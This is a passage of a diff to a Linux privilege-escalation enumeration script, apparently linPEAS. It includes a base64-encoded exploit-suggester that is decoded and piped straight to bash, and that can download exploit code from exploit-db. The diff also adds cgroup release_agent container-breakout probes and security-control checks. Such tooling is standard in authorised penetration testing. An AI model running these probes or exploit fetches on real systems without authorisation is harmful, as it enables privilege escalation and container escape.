PXRydWUKICAgIGZpCmZpCgplY2hvCmVjaG8gLWUgIiR7Ymxkd2h0fUF2YWlsYWJsZSBpbmZvcm1hdGlvbjoke3R4dHJzdH0iCmVjaG8KWyAtbiAiJEtFUk5FTCIgXSAmJiBlY2hvIC1lICJLZXJuZWwgdmVyc2lvbjogJHt0eHRncm59JEtFUk5FTCR7dHh0cnN0fSIgfHwgZWNobyAtZSAiS2VybmVsIHZlcnNpb246ICR7dHh0cmVkfU4vQSR7dHh0cnN0fSIKZWNobyAiQXJjaGl0ZWN0dXJlOiAkKFsgLW4gIiRBUkNIIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufSRBUkNIJHt0eHRyc3R9IiB8fCBlY2hvIC1lICIke3R4dHJlZH1OL0Eke3R4dHJzdH0iKSIKZWNobyAiRGlzdHJpYnV0aW9uOiAkKFsgLW4gIiRPUyIgXSAmJiBlY2hvIC1lICIke3R4dGdybn0kT1Mke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgplY2hvIC1lICJEaXN0cmlidXRpb24gdmVyc2lvbjogJChbIC1uICIkRElTVFJPIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufSRESVNUUk8ke3R4dHJzdH0iIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgoKZWNobyAiQWRkaXRpb25hbCBjaGVja3MgKENPTkZJR18qLCBzeXNjdGwgZW50cmllcywgY3VzdG9tIEJhc2ggY29tbWFuZHMpOiAkKFsgIiRvcHRfc2tpcF9tb3JlX2NoZWNrcyIgPT0gImZhbHNlIiBdICYmIGVjaG8gLWUgIiR7dHh0Z3JufXBlcmZvcm1lZCR7dHh0cnN0fSIgfHwgZWNobyAtZSAiJHt0eHRyZWR9Ti9BJHt0eHRyc3R9IikiCgppZiBbIC1uICIkUEtHTElTVF9GSUxFIiAtYSAtbiAiJFBLR19MSVNUIiBdOyB0aGVuCiAgICBwa2dMaXN0RmlsZT0iJHt0eHRncm59JFBLR0xJU1RfRklMRSR7dHh0cnN0fSIKZWxpZiBbIC1uICIkUEtHTElTVF9GSUxFIiBdOyB0aGVuCiAgICBwa2dMaXN0RmlsZT0iJHt0eHRyZWR9dW5yZWNvZ25pemVkIGZpbGUgcHJvdmlkZWQke3R4dHJzdH0iCmVsaWYgWyAtbiAiJFBLR19MSVNUIiBdOyB0aGVuCiAgICBwa2dMaXN0RmlsZT0iJHt0eHRncm59ZnJvbSBjdXJyZW50IE9TJHt0eHRyc3R9IgpmaQoKZWNobyAtZSAiUGFja2FnZSBsaXN0aW5nOiAkKFsgLW4gIiRwa2dMaXN0RmlsZSIgXSAmJiBlY2hvIC1lICIkcGtnTGlzdEZpbGUiIHx8IGVjaG8gLWUgIiR7dHh0cmVkfU4vQSR7dHh0cnN0fSIpIgoKIyBoYW5kbGUgLS1rZXJuZWxzcGFjeS1vbmx5ICYgLS11c2Vyc3BhY2Utb25seSBmaWx0ZXIgb3B0aW9ucwppZiBbICIkb3B0X2tlcm5lbF9vbmx5IiA9ICJ0cnVlIiAtbyAteiAiJFBLR19MSVNUIiBdOyB0aGVuCiAgICB1bnNldCBFWFBMT0lUU19VU0VSU1BBQ0UKICAgIGRlY2xhcmUgLUEgRVhQTE9JVFNfVVNFUlNQQUNFCmZpCgppZiBbICIkb3B0X3VzZXJzcGFjZV9vbmx5IiA9ICJ0cnVlIiBdOyB0aGVuCiAgICB1bnNldCBFWFBMT0lUUwogICAgZGVjbGFyZSAtQSBFWFBMT0lUUwpmaQoKZWNobwplY2hvIC1lICIke2JsZHdodH1TZWFyY2hpbmcgYW1vbmc6JHt0eHRyc3R9IgplY2hvCmVjaG8gIiR7I0VYUExPSVRTW0BdfSBrZXJuZWwgc3BhY2UgZXhwbG9pdHMiCmVjaG8gIiR7I0VYUExPSVRTX1VTRVJTUEFDRVtAXX0gdXNlciBzcGFjZSBleHBsb2l0cyIKZWNobwoKZWNobyAtZSAiJHtibGR3aHR9UG9zc2libGUgRXhwbG9pdHM6JHt0eHRyc3R9IgplY2hvCgojIHN0YXJ0IGFuYWx5c2lzCmo9MApmb3IgRVhQIGluICIke0VYUExPSVRTW0BdfSIgIiR7RVhQTE9JVFNfVVNFUlNQQUNFW0BdfSI7IGRvCgogICAgIyBjcmVhdGUgYXJyYXkgZnJvbSBjdXJyZW50IGV4cGxvaXQgaGVyZSBkb2MgYW5kIGZldGNoIG5lZWRlZCBsaW5lcwogICAgaT0wCiAgICAjICgnLXInIGlzIHVzZWQgdG8gbm90IGludGVycHJldCBiYWNrc2xhc2ggdXNlZCBmb3IgYmFzaCBjb2xvcnMpCiAgICB3aGlsZSByZWFkIC1yIGxpbmUKICAgIGRvCiAgICAgICAgYXJyW2ldPSIkbGluZSIKICAgICAgICBpPSQoKGkgKyAxKSkKICAgIGRvbmUgPDw8ICIkRVhQIgoKICAgIE5BTUU9IiR7YXJyWzBdfSIgJiYgTkFNRT0iJHtOQU1FOjZ9IgogICAgUkVRUz0iJHthcnJbMV19IiAmJiBSRVFTPSIke1JFUVM6Nn0iCiAgICBUQUdTPSIke2FyclsyXX0iICYmIFRBR1M9IiR7VEFHUzo2fSIKICAgIFJBTks9IiR7YXJyWzNdfSIgJiYgUkFOSz0iJHtSQU5LOjZ9IgoKICAgICMgc3BsaXQgbGluZSB3aXRoIHJlcXVpcmVtZW50cyAmIGxvb3AgdGhydSBhbGwgcmVxcyBvbmUgYnkgb25lICYgY2hlY2sgd2hldGhlciBpdCBpcyBtZXQKICAgIElGUz0nLCcgcmVhZCAtciAtYSBhcnJheSA8PDwgIiRSRVFTIgogICAgUkVRU19OVU09JHsjYXJyYXlbQF19CiAgICBQQVNTRURfUkVRPTAKICAgIGZvciBSRVEgaW4gIiR7YXJyYXlbQF19IjsgZG8KICAgICAgICBpZiAoY2hlY2tSZXF1aXJlbWVudCAiJFJFUSIgIiR7YXJyYXlbMF19Iik7IHRoZW4KICAgICAgICAgICAgUEFTU0VEX1JFUT0kKCgkUEFTU0VEX1JFUSArIDEpKQogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWsKICAgICAgICBmaQogICAgZG9uZQoKICAgICMgZXhlY3V0ZSBmb3IgZXhwbG9pdHMgd2l0aCBhbGwgcmVxdWlyZW1lbnRzIG1ldAogICAgaWYgWyAkUEFTU0VEX1JFUSAtZXEgJFJFUVNfTlVNIF07IHRoZW4KCiAgICAgICAgIyBhZGRpdGlvbmFsIHJlcXVpcmVtZW50IGZvciAtLWN2ZWxpc3QtZmlsZSBtb2RlOiBjaGVjayBpZiBDVkUgYXNzb2NpYXRlZCB3aXRoIHRoZSBleHBsb2l0IGlzIG9uIHRoZSBDVkVMSVNUX0ZJTEUKICAgICAgICBpZiBbICIkb3B0X2N2ZWxpc3RfZmlsZSIgPSAidHJ1ZSIgXTsgdGhlbgoKICAgICAgICAgICAgIyBleHRyYWN0IENWRShzKSBhc3NvY2lhdGVkIHdpdGggZ2l2ZW4gZXhwbG9pdCAoYWxzbyB0cmFuc2xhdGVzICcsJyB0byAnfCcgZm9yIGVhc3kgaGFuZGxpbmcgbXVsdGlwbGUgQ1ZFcyBjYXNlIC0gdmlhIGV4dGVuZGVkIHJlZ2V4KQogICAgICAgICAgICBjdmU9JChlY2hvICIkTkFNRSIgfCBncmVwICcuKlxbLipcXS4qJyB8IGN1dCAtZCAnbScgLWYyIHwgY3V0IC1kICddJyAtZjEgfCB0ciAtZCAnWycgfCB0ciAiLCIgInwiKQogICAgICAgICAgICAjZWNobyAiQ1ZFOiAkY3ZlIgoKICAgICAgICAgICAgIyBjaGVjayBpZiBpdCdzIG9uIENWRUxJU1RfRklMRSBsaXN0LCBpZiBubyBtb3ZlIHRvIG5leHQgZXhwbG9pdAogICAgICAgICAgICBbICEgJChjYXQgIiRDVkVMSVNUX0ZJTEUiIHwgZ3JlcCAtRSAiJGN2ZSIpIF0gJiYgY29udGludWUKICAgICAgICBmaQoKICAgICAgICAjIHByb2Nlc3MgdGFncyBhbmQgaGlnaGxpZ2h0IHRob3NlIHRoYXQgbWF0Y2ggY3VycmVudCBPUyAob25seSBmb3IgZGVifHVidW50dXxSSEVMIGFuZCBpZiB3ZSBrbm93IGRpc3RybyB2ZXJzaW9uIC0gZGlyZWN0IG1vZGUpCiAgICAgICAgdGFncz0iIgogICAgICAgIGlmIFsgLW4gIiRUQUdTIiAtYSAtbiAiJE9TIiBdOyB0aGVuCiAgICAgICAgICAgIElGUz0nLCcgcmVhZCAtciAtYSB0YWdzX2FycmF5IDw8PCAiJFRBR1MiCiAgICAgICAgICAgIFRBR1NfTlVNPSR7I3RhZ3NfYXJyYXlbQF19CgogICAgICAgICAgICAjIGJ1bXAgUkFOSyBzbGlnaHRseSAoKzEpIGlmIHdlJ3JlIGluICctLXVuYW1lJyBtb2RlIGFuZCB0aGVyZSdzIGEgVEFHIGZvciBPUyBmcm9tIHVuYW1lIHN0cmluZwogICAgICAgICAgICBbICIkKGVjaG8gIiR7dGFnc19hcnJheVtAXX0iIHwgZ3JlcCAiJE9TIikiIC1hICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gInRydWUiIF0gJiYgUkFOSz0kKCgkUkFOSyArIDEpKQoKICAgICAgICAgICAgZm9yIFRBRyBpbiAiJHt0YWdzX2FycmF5W0BdfSI7IGRvCiAgICAgICAgICAgICAgICB0YWdfZGlzdHJvPSQoZWNobyAiJFRBRyIgfCBjdXQgLWQnPScgLWYxKQogICAgICAgICAgICAgICAgdGFnX2Rpc3Ryb19udW1fYWxsPSQoZWNobyAiJFRBRyIgfCBjdXQgLWQnPScgLWYyKQogICAgICAgICAgICAgICAgIyBpbiBjYXNlIG9mIHRhZyBvZiBmb3JtOiAndWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMX0gcmVtb3ZlIGtlcm5lbCB2ZXJzaW9uaW5nIHBhcnQgZm9yIGNvbXBhcmlzaW9uCiAgICAgICAgICAgICAgICB0YWdfZGlzdHJvX251bT0iJHt0YWdfZGlzdHJvX251bV9hbGwleyp9IgoKICAgICAgICAgICAgICAgICMgd2UncmUgaW4gJy0tdW5hbWUnIG1vZGUgT1IgKGZvciBub3JtYWwgbW9kZSkgaWYgdGhlcmUgaXMgZGlzdHJvIHZlcnNpb24gbWF0Y2gKICAgICAgICAgICAgICAgIGlmIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAidHJ1ZSIgLW8gXCggIiRPUyIgPT0gIiR0YWdfZGlzdHJvIiAtYSAiJChlY2hvICIkRElTVFJPIiB8IGdyZXAgLUUgIiR0YWdfZGlzdHJvX251bSIpIiBcKSBdOyB0aGVuCgogICAgICAgICAgICAgICAgICAgICMgYnVtcCBjdXJyZW50IGV4cGxvaXQncyByYW5rIGJ5IDIgZm9yIGRpc3RybyBtYXRjaCAoYW5kIG5vdCBpbiAnLS11bmFtZScgbW9kZSkKICAgICAgICAgICAgICAgICAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gImZhbHNlIiBdICYmIFJBTks9JCgoJFJBTksgKyAyKSkKCiAgICAgICAgICAgICAgICAgICAgIyBnZXQgbmFtZSAoa2VybmVsIG9yIHBhY2thZ2UgbmFtZSkgYW5kIHZlcnNpb24gb2Yga2VybmVsL3BrZyBpZiBwcm92aWRlZDoKICAgICAgICAgICAgICAgICAgICB0YWdfcGtnPSQoZWNobyAiJHRhZ19kaXN0cm9fbnVtX2FsbCIgfCBjdXQgLWQneycgLWYgMiB8IHRyIC1kICd9JyB8IGN1dCAtZCc6JyAtZiAxKQogICAgICAgICAgICAgICAgICAgIHRhZ19wa2dfbnVtPSIiCiAgICAgICAgICAgICAgICAgICAgWyAkKGVjaG8gIiR0YWdfZGlzdHJvX251bV9hbGwiIHwgZ3JlcCAneycpIF0gJiYgdGFnX3BrZ19udW09JChlY2hvICIkdGFnX2Rpc3Ryb19udW1fYWxsIiB8IGN1dCAtZCd7JyAtZiAyIHwgdHIgLWQgJ30nIHwgY3V0IC1kJzonIC1mIDIpCgogICAgICAgICAgICAgICAgICAgICNbIC1uICIkdGFnX3BrZ19udW0iIF0gJiYgZWNobyAidGFnX3BrZ19udW06ICR0YWdfcGtnX251bTsga2VybmVsOiAkS0VSTkVMX0FMTCIKCiAgICAgICAgICAgICAgICAgICAgIyBpZiBwa2cva2VybmVsIHZlcnNpb24gaXMgbm90IHByb3ZpZGVkOgogICAgICAgICAgICAgICAgICAgIGlmIFsgLXogIiR0YWdfcGtnX251bSIgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBbICIkb3B0X3VuYW1lX3N0cmluZyIgPT0gImZhbHNlIiBdICYmIFRBRz0iJHtsaWdodHllbGxvd31bICR7VEFHfSBdJHt0eHRyc3R9IgoKICAgICAgICAgICAgICAgICAgICAjIGtlcm5lbCB2ZXJzaW9uIHByb3ZpZGVkLCBjaGVjayBmb3IgbWF0Y2g6CiAgICAgICAgICAgICAgICAgICAgZWxpZiBbIC1uICIkdGFnX3BrZ19udW0iIC1hICIkdGFnX3BrZyIgPSAia2VybmVsIiBdOyB0aGVuCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIFsgJChlY2hvICIkS0VSTkVMX0FMTCIgfCBncmVwIC1FICIke3RhZ19wa2dfbnVtfSIpIF07IHRoZW4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICMga2VybmVsIHZlcnNpb24gbWF0Y2hlZCAtIGJvbGQgaGlnaGxpZ2h0CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBUQUc9IiR7eWVsbG93fVsgJHtUQUd9IF0ke3R4dHJzdH0iCgogICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBidW1wIGN1cnJlbnQgZXhwbG9pdCdzIHJhbmsgYWRkaXRpb25hbGx5IGJ5IDMgZm9yIGtlcm5lbCB2ZXJzaW9uIHJlZ2V4IG1hdGNoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBSQU5LPSQoKCRSQU5LICsgMykpCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFsgIiRvcHRfdW5hbWVfc3RyaW5nIiA9PSAiZmFsc2UiIF0gJiYgVEFHPSIke2xpZ2h0eWVsbG93fVsgJHRhZ19kaXN0cm89JHRhZ19kaXN0cm9fbnVtIF0ke3R4dHJzdH17a2VybmVsOiR0YWdfcGtnX251bX0iCiAgICAgICAgICAgICAgICAgICAgICAgIGZpCgogICAgICAgICAgICAgICAgICAgICMgcGtnIHZlcnNpb24gcHJvdmlkZWQsIGNoZWNrIGZvciBtYXRjaCAoVEJEKToKICAgICAgICAgICAgICAgICAgICBlbGlmIFsgLW4gIiR0YWdfcGtnX251bSIgLWEgLW4gIiR0YWdfcGtnIiAgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBUQUc9IiR7bGlnaHR5ZWxsb3d9WyAkdGFnX2Rpc3Rybz0kdGFnX2Rpc3Ryb19udW0gXSR7dHh0cnN0fXskdGFnX3BrZzokdGFnX3BrZ19udW19IgogICAgICAgICAgICAgICAgICAgIGZpCgogICAgICAgICAgICAgICAgZmkKCiAgICAgICAgICAgICAgICAjIGFwcGVuZCBjdXJyZW50IHRhZyB0byB0YWdzIGxpc3QKICAgICAgICAgICAgICAgIHRhZ3M9IiR7dGFnc30ke1RBR30sIgogICAgICAgICAgICBkb25lCiAgICAgICAgICAgICMgdHJpbSAnLCcgYWRkZWQgYnkgYWJvdmUgbG9vcAogICAgICAgICAgICBbIC1uICIkdGFncyIgXSAmJiB0YWdzPSIke3RhZ3MlP30iCiAgICAgICAgZWxzZQogICAgICAgICAgICB0YWdzPSIkVEFHUyIKICAgICAgICBmaQoKICAgICAgICAjIGluc2VydCB0aGUgbWF0Y2hlZCBleHBsb2l0ICh3aXRoIGNhbGN1bGF0ZWQgUmFuayBhbmQgaGlnaGxpZ2h0ZWQgdGFncykgdG8gYXJyYXJ5IHRoYXQgd2lsbCBiZSBzb3J0ZWQKICAgICAgICBFWFA9JChlY2hvICIkRVhQIiB8IHNlZCAtZSAnL15OYW1lOi9kJyAtZSAnL15SZXFzOi9kJyAtZSAnL15UYWdzOi9kJykKICAgICAgICBleHBsb2l0c190b19zb3J0W2pdPSIke1JBTkt9TmFtZTogJHtOQU1FfUQzTDFtUmVxczogJHtSRVFTfUQzTDFtVGFnczogJHt0YWdzfUQzTDFtJChlY2hvICIkRVhQIiB8IHNlZCAtZSAnOmEnIC1lICdOJyAtZSAnJCFiYScgLWUgJ3MvXG4vRDNMMW0vZycpIgogICAgICAgICgoaisrKSkKICAgIGZpCmRvbmUKCiMgc29ydCBleHBsb2l0cyBiYXNlZCBvbiBjYWxjdWxhdGVkIFJhbmsKSUZTPSQnXG4nClNPUlRFRF9FWFBMT0lUUz0oJChzb3J0IC1yIDw8PCIke2V4cGxvaXRzX3RvX3NvcnRbKl19IikpCnVuc2V0IElGUwoKIyBkaXNwbGF5IHNvcnRlZCBleHBsb2l0cwpmb3IgRVhQX1RFTVAgaW4gIiR7U09SVEVEX0VYUExPSVRTW0BdfSI7IGRvCgoJUkFOSz0kKGVjaG8gIiRFWFBfVEVNUCIgfCBhd2sgLUYnTmFtZTonICd7cHJpbnQgJDF9JykKCgkjIGNvbnZlcnQgZW50cnkgYmFjayB0byBjYW5vbmljYWwgZm9ybQoJRVhQPSQoZWNobyAiJEVYUF9URU1QIiB8IHNlZCAncy9eWzAtOV0vL2cnIHwgc2VkICdzL0QzTDFtL1xuL2cnKQoKCSMgY3JlYXRlIGFycmF5IGZyb20gY3VycmVudCBleHBsb2l0IGhlcmUgZG9jIGFuZCBmZXRjaCBuZWVkZWQgbGluZXMKICAgIGk9MAogICAgIyAoJy1yJyBpcyB1c2VkIHRvIG5vdCBpbnRlcnByZXQgYmFja3NsYXNoIHVzZWQgZm9yIGJhc2ggY29sb3JzKQogICAgd2hpbGUgcmVhZCAtciBsaW5lCiAgICBkbwogICAgICAgIGFycltpXT0iJGxpbmUiCiAgICAgICAgaT0kKChpICsgMSkpCiAgICBkb25lIDw8PCAiJEVYUCIKCiAgICBOQU1FPSIke2FyclswXX0iICYmIE5BTUU9IiR7TkFNRTo2fSIKICAgIFJFUVM9IiR7YXJyWzFdfSIgJiYgUkVRUz0iJHtSRVFTOjZ9IgogICAgVEFHUz0iJHthcnJbMl19IiAmJiB0YWdzPSIke1RBR1M6Nn0iCgoJRVhQTE9JVF9EQj0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiZXhwbG9pdC1kYjogIiB8IGF3ayAne3ByaW50ICQyfScpCglhbmFseXNpc191cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgImFuYWx5c2lzLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCglleHRfdXJsPSQoZWNobyAiJEVYUCIgfCBncmVwICJleHQtdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9JykKCWNvbW1lbnRzPSQoZWNobyAiJEVYUCIgfCBncmVwICJDb21tZW50czogIiB8IGN1dCAtZCcgJyAtZiAyLSkKCXJlcXM9JChlY2hvICIkRVhQIiB8IGdyZXAgIlJlcXM6ICIgfCBjdXQgLWQnICcgLWYgMikKCgkjIGV4cGxvaXQgbmFtZSB3aXRob3V0IENWRSBudW1iZXIgYW5kIHdpdGhvdXQgY29tbW9ubHkgdXNlZCBzcGVjaWFsIGNoYXJzCgluYW1lPSQoZWNobyAiJE5BTUUiIHwgY3V0IC1kJyAnIC1mIDItIHwgdHIgLWQgJyAoKS8nKQoKCWJpbl91cmw9JChlY2hvICIkRVhQIiB8IGdyZXAgImJpbi11cmw6ICIgfCBhd2sgJ3twcmludCAkMn0nKQoJc3JjX3VybD0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAic3JjLXVybDogIiB8IGF3ayAne3ByaW50ICQyfScpCglbIC16ICIkc3JjX3VybCIgXSAmJiBbIC1uICIkRVhQTE9JVF9EQiIgXSAmJiBzcmNfdXJsPSJodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9kb3dubG9hZC8kRVhQTE9JVF9EQiIKCVsgLXogIiRzcmNfdXJsIiBdICYmIFsgLXogIiRiaW5fdXJsIiBdICYmIGV4aXRXaXRoRXJyTXNnICInc3JjLXVybCcgLyAnYmluLXVybCcgLyAnZXhwbG9pdC1kYicgZW50cmllcyBhcmUgYWxsIGVtcHR5IGZvciAnJE5BTUUnIGV4cGxvaXQgLSBmaXggdGhhdC4gQWJvcnRpbmcuIgoKCWlmIFsgLW4gIiRhbmFseXNpc191cmwiIF07IHRoZW4KICAgICAgICBkZXRhaWxzPSIkYW5hbHlzaXNfdXJsIgoJZWxpZiAkKGVjaG8gIiRzcmNfdXJsIiB8IGdyZXAgLXEgJ3d3dy5leHBsb2l0LWRiLmNvbScpOyB0aGVuCiAgICAgICAgZGV0YWlscz0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvJEVYUExPSVRfREIvIgoJZWxpZiBbWyAiJHNyY191cmwiID1+IF4uKnRnenx0YXIuZ3p8emlwJCAmJiAtbiAiJEVYUExPSVRfREIiIF1dOyB0aGVuCiAgICAgICAgZGV0YWlscz0iaHR0cHM6Ly93d3cuZXhwbG9pdC1kYi5jb20vZXhwbG9pdHMvJEVYUExPSVRfREIvIgoJZWxzZQogICAgICAgIGRldGFpbHM9IiRzcmNfdXJsIgoJZmkKCgkjIHNraXAgRG9TIGJ5IGRlZmF1bHQKCWRvcz0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAtbyAtaSAiKGRvcyIpCglbICIkb3B0X3Nob3dfZG9zIiA9PSAiZmFsc2UiIF0gJiYgWyAtbiAiJGRvcyIgXSAmJiBjb250aW51ZQoKCSMgaGFuZGxlcyAtLWZldGNoLWJpbmFyaWVzIG9wdGlvbgoJaWYgWyAkb3B0X2ZldGNoX2JpbnMgPSAidHJ1ZSIgXTsgdGhlbgogICAgICAgIGZvciBpIGluICQoZWNobyAiJEVYUCIgfCBncmVwICJiaW4tdXJsOiAiIHwgYXdrICd7cHJpbnQgJDJ9Jyk7IGRvCiAgICAgICAgICAgIFsgLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkaSkiIF0gJiYgcm0gLWYgIiR7bmFtZX1fJChiYXNlbmFtZSAkaSkiCiAgICAgICAgICAgIHdnZXQgLXEgLWsgIiRpIiAtTyAiJHtuYW1lfV8kKGJhc2VuYW1lICRpKSIKICAgICAgICBkb25lCiAgICBmaQoKCSMgaGFuZGxlcyAtLWZldGNoLXNvdXJjZXMgb3B0aW9uCglpZiBbICRvcHRfZmV0Y2hfc3JjcyA9ICJ0cnVlIiBdOyB0aGVuCiAgICAgICAgWyAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRzcmNfdXJsKSIgXSAmJiBybSAtZiAiJHtuYW1lfV8kKGJhc2VuYW1lICRzcmNfdXJsKSIKICAgICAgICB3Z2V0IC1xIC1rICIkc3JjX3VybCIgLU8gIiR7bmFtZX1fJChiYXNlbmFtZSAkc3JjX3VybCkiICYKICAgIGZpCgogICAgIyBkaXNwbGF5IHJlc3VsdCAoc2hvcnQpCglpZiBbICIkb3B0X3N1bW1hcnkiID0gInRydWUiIF07IHRoZW4KCVsgLXogIiR0YWdzIiBdICYmIHRhZ3M9Ii0iCgllY2hvIC1lICIkTkFNRSB8fCAkdGFncyB8fCAkc3JjX3VybCIKCWNvbnRpbnVlCglmaQoKIyBkaXNwbGF5IHJlc3VsdCAoc3RhbmRhcmQpCgllY2hvIC1lICJbK10gJE5BTUUiCgllY2hvIC1lICJcbiAgIERldGFpbHM6ICRkZXRhaWxzIgogICAgICAgIGVjaG8gLWUgIiAgIEV4cG9zdXJlOiAkKGRpc3BsYXlFeHBvc3VyZSAkUkFOSykiCiAgICAgICAgWyAtbiAiJHRhZ3MiIF0gJiYgZWNobyAtZSAiICAgVGFnczogJHRhZ3MiCiAgICAgICAgZWNobyAtZSAiICAgRG93bmxvYWQgVVJMOiAkc3JjX3VybCIKICAgICAgICBbIC1uICIkZXh0X3VybCIgXSAmJiBlY2hvIC1lICIgICBleHQtdXJsOiAkZXh0X3VybCIKICAgICAgICBbIC1uICIkY29tbWVudHMiIF0gJiYgZWNobyAtZSAiICAgQ29tbWVudHM6ICRjb21tZW50cyIKCiAgICAgICAgIyBoYW5kbGVzIC0tZnVsbCBmaWx0ZXIgb3B0aW9uCiAgICAgICAgaWYgWyAiJG9wdF9mdWxsIiA9ICJ0cnVlIiBdOyB0aGVuCiAgICAgICAgICAgIFsgLW4gIiRyZXFzIiBdICYmIGVjaG8gLWUgIiAgIFJlcXVpcmVtZW50czogJHJlcXMiCgogICAgICAgICAgICBbIC1uICIkRVhQTE9JVF9EQiIgXSAmJiBlY2hvIC1lICIgICBleHBsb2l0LWRiOiAkRVhQTE9JVF9EQiIKCiAgICAgICAgICAgIGF1dGhvcj0kKGVjaG8gIiRFWFAiIHwgZ3JlcCAiYXV0aG9yOiAiIHwgY3V0IC1kJyAnIC1mIDItKQogICAgICAgICAgICBbIC1uICIkYXV0aG9yIiBdICYmIGVjaG8gLWUgIiAgIGF1dGhvcjogJGF1dGhvciIKICAgICAgICBmaQoKICAgICAgICBlY2hvCgpkb25lCg==" echo $les_b64 | base64 -d | bash | sed "s,$(printf '\033')\\[[0-9;]*[a-zA-Z],,g" | grep -i "\[CVE" -A 10 | grep -Ev "^\-\-$" | sed -${E} "s,\[CVE-[0-9]+-[0-9]+\].*,${SED_RED},g" echo "" fi @@ -1497,6 +1491,14 @@ else echo_not_found "AppArmor" fi +#-- SY) AppArmor2 +print_list "AppArmor profile? .............. "$NC +(cat /proc/self/attr/current 2>/dev/null || echo "unconfined") | sed "s,unconfined,${SED_RED}," | sed "s,kernel,${SED_GREEN}," + +#-- SY) LinuxONE +print_list "is linuxONE? ................... "$NC +( (uname -a | grep "s390x" >/dev/null 2>&1) && echo "Yes" || echo_not_found "s390x") + #-- SY) grsecurity print_list "grsecurity present? ............ "$NC ( (uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo_not_found "grsecurity") @@ -1515,11 +1517,7 @@ print_list "SELinux enabled? ............... "$NC #-- SY) Seccomp print_list "Seccomp enabled? ............... "$NC -([ "$(grep Seccomp /proc/self/status | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," - -#-- SY) AppArmor -print_list "AppArmor profile? .............. "$NC -(cat /proc/self/attr/current 2>/dev/null || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,kernel,${SED_GREEN}," +([ "$(grep Seccomp /proc/self/status 2>/dev/null | grep -v 0)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," #-- SY) AppArmor print_list "User namespace? ................ "$NC @@ -1527,7 +1525,7 @@ if [ "$(cat /proc/self/uid_map 2>/dev/null)" ]; then echo "enabled" | sed "s,ena #-- SY) cgroup2 print_list "Cgroup2 enabled? ............... "$NC -([ "$(grep cgroup2 /proc/filesystems)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," +([ "$(grep cgroup2 /proc/filesystems 2>/dev/null)" ] && echo "enabled" || echo "disabled") | sed "s,disabled,${SED_RED}," | sed "s,enabled,${SED_GREEN}," #-- SY) Gatekeeper if [ "$MACPEAS" ]; then @@ -1599,7 +1597,7 @@ containerCheck() { containerType="docker\n" fi - # Are we inside kubenetes? + # Are we inside kubernetes? if grep "/kubepod" /proc/1/cgroup -qa 2>/dev/null || grep -qai kubepods /proc/self/cgroup 2>/dev/null; then @@ -1720,16 +1718,58 @@ checkContainerExploits() { fi } +checkCreateReleaseAgent(){ + cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r subsys + do + if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then + release_agent_breakout2="Yes (unshare with $subsys)"; + rm -rf /tmp/cgroup_3628d4 + break + fi + done +} + checkProcSysBreakouts(){ - if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes"; else release_agent_breakout1="No"; fi + dev_mounted="No" + if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then + dev_mounted="Yes"; + fi + + proc_mounted="No" + if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then + proc_mounted="Yes"; + fi + + run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null) + if ! [ "$run_unshare" = "Yes" ]; then + run_unshare="No" + fi + + if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then + release_agent_breakout1="Yes" + else + release_agent_breakout1="No" + fi + release_agent_breakout2="No" mkdir /tmp/cgroup_3628d4 mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null - if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; else release_agent_breakout2="No"; fi + if [ $? -eq 0 ]; then + release_agent_breakout2="Yes"; + rm -rf /tmp/cgroup_3628d4 + else + mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null + if [ $? -eq 0 ]; then + release_agent_breakout2="Yes"; + rm -rf /tmp/cgroup_3628d4 + else + checkCreateReleaseAgent + fi + fi rm -rf /tmp/cgroup_3628d4 2>/dev/null core_pattern_breakout="$( 